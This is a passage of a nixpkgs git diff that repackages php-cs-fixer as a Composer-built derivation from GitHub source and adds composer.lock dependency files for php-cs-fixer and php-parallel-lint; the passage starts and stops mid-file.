"https://github.com/sebastianbergmann/type/issues", + "source": "https://github.com/sebastianbergmann/type/tree/4.0.0" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-03T07:10:45+00:00" + }, + { + "name": "sebastian/version", + "version": "4.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/version.git", + "reference": "c51fa83a5d8f43f1402e3f32a005e6262244ef17" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/c51fa83a5d8f43f1402e3f32a005e6262244ef17", + "reference": "c51fa83a5d8f43f1402e3f32a005e6262244ef17", + "shasum": "" + }, + "require": { + "php": ">=8.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library that helps with managing the version number of Git-hosted PHP projects", + "homepage": "https://github.com/sebastianbergmann/version", + "support": { + "issues": "https://github.com/sebastianbergmann/version/issues", + "source": "https://github.com/sebastianbergmann/version/tree/4.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2023-02-07T11:34:05+00:00" + }, + { + "name": "symfony/config", + "version": "v6.4.4", + "source": { + "type": "git", + "url": "https://github.com/symfony/config.git", + "reference": "6ea4affc27f2086c9d16b92ab5429ce1e3c38047" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/config/zipball/6ea4affc27f2086c9d16b92ab5429ce1e3c38047", + "reference": "6ea4affc27f2086c9d16b92ab5429ce1e3c38047", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/filesystem": "^5.4|^6.0|^7.0", + "symfony/polyfill-ctype": "~1.8" + }, + "conflict": { + "symfony/finder": "<5.4", + "symfony/service-contracts": "<2.5" + }, + "require-dev": { + "symfony/event-dispatcher": "^5.4|^6.0|^7.0", + "symfony/finder": "^5.4|^6.0|^7.0", + "symfony/messenger": "^5.4|^6.0|^7.0", + "symfony/service-contracts": "^2.5|^3", + "symfony/yaml": "^5.4|^6.0|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Config\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Helps you find, load, combine, autofill and validate configuration values of any kind", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/config/tree/v6.4.4" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-02-26T07:52:26+00:00" + }, + { + "name": "symfony/dependency-injection", + "version": "v6.4.4", + "source": { + "type": "git", + "url": "https://github.com/symfony/dependency-injection.git", + "reference": "6236e5e843cb763e9d0f74245678b994afea5363" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/dependency-injection/zipball/6236e5e843cb763e9d0f74245678b994afea5363", + "reference": "6236e5e843cb763e9d0f74245678b994afea5363", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "psr/container": "^1.1|^2.0", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/service-contracts": "^2.5|^3.0", + "symfony/var-exporter": "^6.2.10|^7.0" + }, + "conflict": { + "ext-psr": "<1.1|>=2", + "symfony/config": "<6.1", + "symfony/finder": "<5.4", + "symfony/proxy-manager-bridge": "<6.3", + "symfony/yaml": "<5.4" + }, + "provide": { + "psr/container-implementation": "1.1|2.0", + "symfony/service-implementation": "1.1|2.0|3.0" + }, + "require-dev": { + "symfony/config": "^6.1|^7.0", + "symfony/expression-language": "^5.4|^6.0|^7.0", + "symfony/yaml": "^5.4|^6.0|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\DependencyInjection\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Allows you to standardize and centralize the way objects are constructed in your application", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/dependency-injection/tree/v6.4.4" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-02-22T20:27:10+00:00" + }, + { + "name": "symfony/var-dumper", + "version": "v6.4.4", + "source": { + "type": "git", + "url": "https://github.com/symfony/var-dumper.git", + "reference": "b439823f04c98b84d4366c79507e9da6230944b1" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/var-dumper/zipball/b439823f04c98b84d4366c79507e9da6230944b1", + "reference": "b439823f04c98b84d4366c79507e9da6230944b1", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/polyfill-mbstring": "~1.0" + }, + "conflict": { + "symfony/console": "<5.4" + }, + "require-dev": { + "ext-iconv": "*", + "symfony/console": "^5.4|^6.0|^7.0", + "symfony/error-handler": "^6.3|^7.0", + "symfony/http-kernel": "^5.4|^6.0|^7.0", + "symfony/process": "^5.4|^6.0|^7.0", + "symfony/uid": "^5.4|^6.0|^7.0", + "twig/twig": "^2.13|^3.0.4" + }, + "bin": [ + "Resources/bin/var-dump-server" + ], + "type": "library", + "autoload": { + "files": [ + "Resources/functions/dump.php" + ], + "psr-4": { + "Symfony\\Component\\VarDumper\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Provides mechanisms for walking through any arbitrary PHP variable", + "homepage": "https://symfony.com", + "keywords": [ + "debug", + "dump" + ], + "support": { + "source": "https://github.com/symfony/var-dumper/tree/v6.4.4" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-02-15T11:23:52+00:00" + }, + { + "name": "symfony/var-exporter", + "version": "v6.4.4", + "source": { + "type": "git", + "url": "https://github.com/symfony/var-exporter.git", + "reference": "0bd342e24aef49fc82a21bd4eedd3e665d177e5b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/var-exporter/zipball/0bd342e24aef49fc82a21bd4eedd3e665d177e5b", + "reference": "0bd342e24aef49fc82a21bd4eedd3e665d177e5b", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3" + }, + "require-dev": { + "symfony/var-dumper": "^5.4|^6.0|^7.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\VarExporter\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Nicolas Grekas", + "email": "p@tchwork.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Allows exporting any serializable PHP data structure to plain PHP code", + "homepage": "https://symfony.com", + "keywords": [ + "clone", + "construct", + "export", + "hydrate", + "instantiate", + "lazy-loading", + "proxy", + "serialize" + ], + "support": { + "source": "https://github.com/symfony/var-exporter/tree/v6.4.4" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-02-26T08:37:45+00:00" + }, + { + "name": "symfony/yaml", + "version": "v6.4.3", + "source": { + "type": "git", + "url": "https://github.com/symfony/yaml.git", + "reference": "d75715985f0f94f978e3a8fa42533e10db921b90" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/yaml/zipball/d75715985f0f94f978e3a8fa42533e10db921b90", + "reference": "d75715985f0f94f978e3a8fa42533e10db921b90", + "shasum": "" + }, + "require": { + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/polyfill-ctype": "^1.8" + }, + "conflict": { + "symfony/console": "<5.4" + }, + "require-dev": { + "symfony/console": "^5.4|^6.0|^7.0" + }, + "bin": [ + "Resources/bin/yaml-lint" + ], + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Yaml\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Loads and dumps YAML files", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/yaml/tree/v6.4.3" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2024-01-23T14:51:35+00:00" + }, + { + "name": "theseer/tokenizer", + "version": "1.2.2", + "source": { + "type": "git", + "url": "https://github.com/theseer/tokenizer.git", + "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/theseer/tokenizer/zipball/b2ad5003ca10d4ee50a12da31de12a5774ba6b96", + "reference": "b2ad5003ca10d4ee50a12da31de12a5774ba6b96", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-tokenizer": "*", + "ext-xmlwriter": "*", + "php": "^7.2 || ^8.0" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + } + ], + "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", + "support": { + "issues": "https://github.com/theseer/tokenizer/issues", + "source": "https://github.com/theseer/tokenizer/tree/1.2.2" + }, + "funding": [ + { + "url": "https://github.com/theseer", + "type": "github" + } + ], + "time": "2023-11-20T00:12:19+00:00" + } + ], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": [], + "prefer-stable": false, + "prefer-lowest": false, + "platform": { + "php": "^7.4 || ^8.0", + "ext-filter": "*", + "ext-json": "*", + "ext-tokenizer": "*" + }, + "platform-dev": [], + "plugin-api-version": "2.6.0" +} diff --git a/pkgs/development/php-packages/php-cs-fixer/default.nix b/pkgs/development/php-packages/php-cs-fixer/default.nix index 611e5f2630911..351d2e4d7b905 100644 --- a/pkgs/development/php-packages/php-cs-fixer/default.nix +++ b/pkgs/development/php-packages/php-cs-fixer/default.nix @@ -1,35 +1,30 @@ -{ mkDerivation, fetchurl, makeWrapper, lib, php }: +{ lib +, fetchFromGitHub +, php +}: -let +php.buildComposerProject (finalAttrs: { pname = "php-cs-fixer"; - version = "3.49.0"; -in -mkDerivation { - inherit pname version; + version = "3.51.0"; - src = fetchurl { - url = "https://github.com/FriendsOfPHP/PHP-CS-Fixer/releases/download/v${version}/php-cs-fixer.phar"; - sha256 = "sha256-cnH6SEEaEh7X9zlHgHD8eOpaSUDnqhL2SMnNGSj1nJQ="; + src = fetchFromGitHub { + owner = "PHP-CS-Fixer"; + repo = "PHP-CS-Fixer"; + rev = "v${finalAttrs.version}"; + hash = "sha256-49MzEEHFbr4jRYALdFqcQAOoQ3btoPkI9bpYJSxxnTo="; }; - dontUnpack = true; + # Missing `composer.lock` from the repository. + # Issue open at https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/issues/7590 + composerLock = ./composer.lock; + vendorHash = "sha256-b0vrjv0dqQTD3nuo6nqpUtF4JkD8mj4OnNKKqp6hcvU="; - nativeBuildInputs = [ makeWrapper ]; - - installPhase = '' - runHook preInstall - mkdir -p $out/bin - install -D $src $out/libexec/php-cs-fixer/php-cs-fixer.phar - makeWrapper ${php}/bin/php $out/bin/php-cs-fixer \ - --add-flags "$out/libexec/php-cs-fixer/php-cs-fixer.phar" - runHook postInstall - ''; - - meta = with lib; { - changelog = "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/releases/tag/${version}"; + meta = { + changelog = "https://github.com/PHP-CS-Fixer/PHP-CS-Fixer/releases/tag/v${finalAttrs.version}"; description = "A tool to automatically fix PHP coding standards issues"; - license = licenses.mit; homepage = "https://cs.symfony.com/"; - maintainers = with maintainers; [ ] ++ teams.php.members; + license = lib.licenses.mit; + mainProgram = "php-cs-fixer"; + maintainers = lib.teams.php.members; }; -} +}) diff --git a/pkgs/development/php-packages/php-parallel-lint/composer.lock b/pkgs/development/php-packages/php-parallel-lint/composer.lock new file mode 100644 index 0000000000000..c5403d92b62d4 --- /dev/null +++ b/pkgs/development/php-packages/php-parallel-lint/composer.lock @@ -0,0 +1,2115 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "22c96862ce41ff63a0e4cc20b7aa9dd0", + "packages": [], + "packages-dev": [ + { + "name": "dealerdirect/phpcodesniffer-composer-installer", + "version": "v0.7.2", + "source": { + "type": "git", + "url": "https://github.com/Dealerdirect/phpcodesniffer-composer-installer.git", + "reference": "1c968e542d8843d7cd71de3c5c9c3ff3ad71a1db" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Dealerdirect/phpcodesniffer-composer-installer/zipball/1c968e542d8843d7cd71de3c5c9c3ff3ad71a1db", + "reference": "1c968e542d8843d7cd71de3c5c9c3ff3ad71a1db", + "shasum": "" + }, + "require": { + "composer-plugin-api": "^1.0 || ^2.0", + "php": ">=5.3", + "squizlabs/php_codesniffer": "^2.0 || ^3.1.0 || ^4.0" + }, + "require-dev": { + "composer/composer": "*", + "php-parallel-lint/php-parallel-lint": "^1.3.1", + "phpcompatibility/php-compatibility": "^9.0" + }, + "type": "composer-plugin", + "extra": { + "class": "Dealerdirect\\Composer\\Plugin\\Installers\\PHPCodeSniffer\\Plugin" + }, + "autoload": { + "psr-4": { + "Dealerdirect\\Composer\\Plugin\\Installers\\PHPCodeSniffer\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Franck Nijhof", + "email": "franck.nijhof@dealerdirect.com", + "homepage": "http://www.frenck.nl", + "role": "Developer / IT Manager" + }, + { + "name": "Contributors", + "homepage": "https://github.com/Dealerdirect/phpcodesniffer-composer-installer/graphs/contributors" + } + ], + "description": "PHP_CodeSniffer Standards Composer Installer Plugin", + "homepage": "http://www.dealerdirect.com", + "keywords": [ + "PHPCodeSniffer", + "PHP_CodeSniffer", + "code quality", + "codesniffer", + "composer", + "installer", + "phpcbf", + "phpcs", + "plugin", + "qa", + "quality", + "standard", + "standards", + "style guide", + "stylecheck", + "tests" + ], + "support": { + "issues": "https://github.com/dealerdirect/phpcodesniffer-composer-installer/issues", + "source": "https://github.com/dealerdirect/phpcodesniffer-composer-installer" + }, + "time": "2022-02-04T12:51:07+00:00" + }, + { + "name": "doctrine/instantiator", + "version": "2.0.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/instantiator.git", + "reference": "c6222283fa3f4ac679f8b9ced9a4e23f163e80d0" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/instantiator/zipball/c6222283fa3f4ac679f8b9ced9a4e23f163e80d0", + "reference": "c6222283fa3f4ac679f8b9ced9a4e23f163e80d0", + "shasum": "" + }, + "require": { + "php": "^8.1" + }, + "require-dev": { + "doctrine/coding-standard": "^11", + "ext-pdo": "*", + "ext-phar": "*", + "phpbench/phpbench": "^1.2", + "phpstan/phpstan": "^1.9.4", + "phpstan/phpstan-phpunit": "^1.3", + "phpunit/phpunit": "^9.5.27", + "vimeo/psalm": "^5.4" + }, + "type": "library", + "autoload": { + "psr-4": { + "Doctrine\\Instantiator\\": "src/Doctrine/Instantiator/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Marco Pivetta", + "email": "ocramius@gmail.com", + "homepage": "https://ocramius.github.io/" + } + ], + "description": "A small, lightweight utility to instantiate objects in PHP without invoking their constructors", + "homepage": "https://www.doctrine-project.org/projects/instantiator.html", + "keywords": [ + "constructor", + "instantiate" + ], + "support": { + "issues": "https://github.com/doctrine/instantiator/issues", + "source": "https://github.com/doctrine/instantiator/tree/2.0.0" + }, + "funding": [ + { + "url": "https://www.doctrine-project.org/sponsorship.html", + "type": "custom" + }, + { + "url": "https://www.patreon.com/phpdoctrine", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/doctrine%2Finstantiator", + "type": "tidelift" + } + ], + "time": "2022-12-30T00:23:10+00:00" + }, + { + "name": "myclabs/deep-copy", + "version": "1.11.1", + "source": { + "type": "git", + "url": "https://github.com/myclabs/DeepCopy.git", + "reference": "7284c22080590fb39f2ffa3e9057f10a4ddd0e0c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/myclabs/DeepCopy/zipball/7284c22080590fb39f2ffa3e9057f10a4ddd0e0c", + "reference": "7284c22080590fb39f2ffa3e9057f10a4ddd0e0c", + "shasum": "" + }, + "require": { + "php": "^7.1 || ^8.0" + }, + "conflict": { + "doctrine/collections": "<1.6.8", + "doctrine/common": "<2.13.3 || >=3,<3.2.2" + }, + "require-dev": { + "doctrine/collections": "^1.6.8", + "doctrine/common": "^2.13.3 || ^3.2.2", + "phpunit/phpunit": "^7.5.20 || ^8.5.23 || ^9.5.13" + }, + "type": "library", + "autoload": { + "files": [ + "src/DeepCopy/deep_copy.php" + ], + "psr-4": { + "DeepCopy\\": "src/DeepCopy/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Create deep copies (clones) of your objects", + "keywords": [ + "clone", + "copy", + "duplicate", + "object", + "object graph" + ], + "support": { + "issues": "https://github.com/myclabs/DeepCopy/issues", + "source": "https://github.com/myclabs/DeepCopy/tree/1.11.1" + }, + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/myclabs/deep-copy", + "type": "tidelift" + } + ], + "time": "2023-03-08T13:26:56+00:00" + }, + { + "name": "nikic/php-parser", + "version": "v5.0.0", + "source": { + "type": "git", + "url": "https://github.com/nikic/PHP-Parser.git", + "reference": "4a21235f7e56e713259a6f76bf4b5ea08502b9dc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/nikic/PHP-Parser/zipball/4a21235f7e56e713259a6f76bf4b5ea08502b9dc", + "reference": "4a21235f7e56e713259a6f76bf4b5ea08502b9dc", + "shasum": "" + }, + "require": { + "ext-ctype": "*", + "ext-json": "*", + "ext-tokenizer": "*", + "php": ">=7.4" + }, + "require-dev": { + "ircmaxell/php-yacc": "^0.0.7", + "phpunit/phpunit": "^7.0 || ^8.0 || ^9.0" + }, + "bin": [ + "bin/php-parse" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "5.0-dev" + } + }, + "autoload": { + "psr-4": { + "PhpParser\\": "lib/PhpParser" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Nikita Popov" + } + ], + "description": "A PHP parser written in PHP", + "keywords": [ + "parser", + "php" + ], + "support": { + "issues": "https://github.com/nikic/PHP-Parser/issues", + "source": "https://github.com/nikic/PHP-Parser/tree/v5.0.0" + }, + "time": "2024-01-07T17:17:35+00:00" + }, + { + "name": "phar-io/manifest", + "version": "2.0.3", + "source": { + "type": "git", + "url": "https://github.com/phar-io/manifest.git", + "reference": "97803eca37d319dfa7826cc2437fc020857acb53" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phar-io/manifest/zipball/97803eca37d319dfa7826cc2437fc020857acb53", + "reference": "97803eca37d319dfa7826cc2437fc020857acb53", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-phar": "*", + "ext-xmlwriter": "*", + "phar-io/version": "^3.0.1", + "php": "^7.2 || ^8.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0.x-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + }, + { + "name": "Sebastian Heuer", + "email": "sebastian@phpeople.de", + "role": "Developer" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "Developer" + } + ], + "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", + "support": { + "issues": "https://github.com/phar-io/manifest/issues", + "source": "https://github.com/phar-io/manifest/tree/2.0.3" + }, + "time": "2021-07-20T11:28:43+00:00" + }, + { + "name": "phar-io/version", + "version": "3.2.1", + "source": { + "type": "git", + "url": "https://github.com/phar-io/version.git", + "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phar-io/version/zipball/4f7fd7836c6f332bb2933569e566a0d6c4cbed74", + "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74", + "shasum": "" + }, + "require": { + "php": "^7.2 || ^8.0" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + }, + { + "name": "Sebastian Heuer", + "email": "sebastian@phpeople.de", + "role": "Developer" + }, + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "Developer" + } + ], + "description": "Library for handling version information and constraints", + "support": { + "issues": "https://github.com/phar-io/version/issues", + "source": "https://github.com/phar-io/version/tree/3.2.1" + }, + "time": "2022-02-21T01:04:05+00:00" + }, + { + "name": "php-parallel-lint/php-code-style", + "version": "v2.0", + "source": { + "type": "git", + "url": "https://github.com/php-parallel-lint/PHP-Code-Style.git", + "reference": "ffc9e7dd5ea867f7bf2983d922ba6f6697f1ee9b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-parallel-lint/PHP-Code-Style/zipball/ffc9e7dd5ea867f7bf2983d922ba6f6697f1ee9b", + "reference": "ffc9e7dd5ea867f7bf2983d922ba6f6697f1ee9b", + "shasum": "" + }, + "require": { + "dealerdirect/phpcodesniffer-composer-installer": "^0.7", + "phpcompatibility/php-compatibility": "^9.3", + "squizlabs/php_codesniffer": "^3.6.1" + }, + "replace": { + "jakub-onderka/php-code-style": "*" + }, + "type": "phpcodesniffer-standard", + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jakub Onderka", + "email": "jakub.onderka@gmail.com", + "homepage": "http://www.acci.cz" + } + ], + "description": "PHP_CodeSniffer rules for projects in the PHP Parallel Lint organisation", + "support": { + "issues": "https://github.com/php-parallel-lint/PHP-Code-Style/issues", + "source": "https://github.com/php-parallel-lint/PHP-Code-Style/tree/v2.0" + }, + "time": "2021-12-18T02:45:56+00:00" + }, + { + "name": "php-parallel-lint/php-console-color", + "version": "v1.0.1", + "source": { + "type": "git", + "url": "https://github.com/php-parallel-lint/PHP-Console-Color.git", + "reference": "7adfefd530aa2d7570ba87100a99e2483a543b88" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-parallel-lint/PHP-Console-Color/zipball/7adfefd530aa2d7570ba87100a99e2483a543b88", + "reference": "7adfefd530aa2d7570ba87100a99e2483a543b88", + "shasum": "" + }, + "require": { + "php": ">=5.3.2" + }, + "replace": { + "jakub-onderka/php-console-color": "*" + }, + "require-dev": { + "php-parallel-lint/php-code-style": "^2.0", + "php-parallel-lint/php-parallel-lint": "^1.0", + "php-parallel-lint/php-var-dump-check": "0.*", + "phpunit/phpunit": "^4.8.36 || ^5.7.21 || ^6.0 || ^7.0 || ^8.0 || ^9.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "PHP_Parallel_Lint\\PhpConsoleColor\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-2-Clause" + ], + "authors": [ + { + "name": "Jakub Onderka", + "email": "jakub.onderka@gmail.com" + } + ], + "description": "Simple library for creating colored console ouput.", + "support": { + "issues": "https://github.com/php-parallel-lint/PHP-Console-Color/issues", + "source": "https://github.com/php-parallel-lint/PHP-Console-Color/tree/v1.0.1" + }, + "time": "2021-12-25T06:49:29+00:00" + }, + { + "name": "php-parallel-lint/php-console-highlighter", + "version": "v1.0.0", + "source": { + "type": "git", + "url": "https://github.com/php-parallel-lint/PHP-Console-Highlighter.git", + "reference": "5b4803384d3303cf8e84141039ef56c8a123138d" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/php-parallel-lint/PHP-Console-Highlighter/zipball/5b4803384d3303cf8e84141039ef56c8a123138d", + "reference": "5b4803384d3303cf8e84141039ef56c8a123138d", + "shasum": "" + }, + "require": { + "ext-tokenizer": "*", + "php": ">=5.3.2", + "php-parallel-lint/php-console-color": "^1.0.1" + }, + "replace": { + "jakub-onderka/php-console-highlighter": "*" + }, + "require-dev": { + "php-parallel-lint/php-code-style": "^2.0", + "php-parallel-lint/php-parallel-lint": "^1.0", + "php-parallel-lint/php-var-dump-check": "0.*", + "phpunit/phpunit": "^4.8.36 || ^5.7.21 || ^6.0 || ^7.0 || ^8.0 || ^9.0" + }, + "type": "library", + "autoload": { + "psr-4": { + "PHP_Parallel_Lint\\PhpConsoleHighlighter\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Jakub Onderka", + "email": "acci@acci.cz", + "homepage": "http://www.acci.cz/" + } + ], + "description": "Highlight PHP code in terminal", + "support": { + "issues": "https://github.com/php-parallel-lint/PHP-Console-Highlighter/issues", + "source": "https://github.com/php-parallel-lint/PHP-Console-Highlighter/tree/v1.0.0" + }, + "time": "2022-02-18T08:23:19+00:00" + }, + { + "name": "phpcompatibility/php-compatibility", + "version": "9.3.5", + "source": { + "type": "git", + "url": "https://github.com/PHPCompatibility/PHPCompatibility.git", + "reference": "9fb324479acf6f39452e0655d2429cc0d3914243" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/PHPCompatibility/PHPCompatibility/zipball/9fb324479acf6f39452e0655d2429cc0d3914243", + "reference": "9fb324479acf6f39452e0655d2429cc0d3914243", + "shasum": "" + }, + "require": { + "php": ">=5.3", + "squizlabs/php_codesniffer": "^2.3 || ^3.0.2" + }, + "conflict": { + "squizlabs/php_codesniffer": "2.6.2" + }, + "require-dev": { + "phpunit/phpunit": "~4.5 || ^5.0 || ^6.0 || ^7.0" + }, + "suggest": { + "dealerdirect/phpcodesniffer-composer-installer": "^0.5 || This Composer plugin will sort out the PHPCS 'installed_paths' automatically.", + "roave/security-advisories": "dev-master || Helps prevent installing dependencies with known security issues." + }, + "type": "phpcodesniffer-standard", + "notification-url": "https://packagist.org/downloads/", + "license": [ + "LGPL-3.0-or-later" + ], + "authors": [ + { + "name": "Wim Godden", + "homepage": "https://github.com/wimg", + "role": "lead" + }, + { + "name": "Juliette Reinders Folmer", + "homepage": "https://github.com/jrfnl", + "role": "lead" + }, + { + "name": "Contributors", + "homepage": "https://github.com/PHPCompatibility/PHPCompatibility/graphs/contributors" + } + ], + "description": "A set of sniffs for PHP_CodeSniffer that checks for PHP cross-version compatibility.", + "homepage": "http://techblog.wimgodden.be/tag/codesniffer/", + "keywords": [ + "compatibility", + "phpcs", + "standards" + ], + "support": { + "issues": "https://github.com/PHPCompatibility/PHPCompatibility/issues", + "source": "https://github.com/PHPCompatibility/PHPCompatibility" + }, + "time": "2019-12-27T09:44:58+00:00" + }, + { + "name": "phpunit/php-code-coverage", + "version": "9.2.30", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/php-code-coverage.git", + "reference": "ca2bd87d2f9215904682a9cb9bb37dda98e76089" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/php-code-coverage/zipball/ca2bd87d2f9215904682a9cb9bb37dda98e76089", + "reference": "ca2bd87d2f9215904682a9cb9bb37dda98e76089", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-libxml": "*", + "ext-xmlwriter": "*", + "nikic/php-parser": "^4.18 || ^5.0", + "php": ">=7.3", + "phpunit/php-file-iterator": "^3.0.3", + "phpunit/php-text-template": "^2.0.2", + "sebastian/code-unit-reverse-lookup": "^2.0.2", + "sebastian/complexity": "^2.0", + "sebastian/environment": "^5.1.2", + "sebastian/lines-of-code": "^1.0.3", + "sebastian/version": "^3.0.1", + "theseer/tokenizer": "^1.2.0" + }, + 